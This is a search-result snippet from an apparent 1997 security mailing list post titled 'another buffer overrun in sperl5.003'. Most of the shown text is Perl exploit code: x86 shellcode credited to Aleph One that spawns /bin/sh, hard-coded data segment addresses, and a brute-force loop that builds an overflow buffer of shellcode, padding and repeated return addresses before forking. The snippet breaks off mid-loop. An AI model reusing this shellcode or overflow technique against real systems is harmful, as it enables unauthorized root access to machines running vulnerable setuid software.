Displaying 1 result from an estimated 1 matches for "databot".
Did you mean:
databit
1997 Nov 13
0
another buffer overrun in sperl5.003
...shellcode" by Aleph One
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
# start and end of .data
# adjust this using /proc/*/maps
$databot = 0x080a2000;
$datatop = 0x080ab000;
# trial and error loop
$address = $databot + 4;
while ($address < $datatop) {
$smash_me =
$shellcode . (''A'' x (2052 - length($shellcode))) .
(pack("l", $address) x 1000) . (''B'' x 1000);
$pid = fork...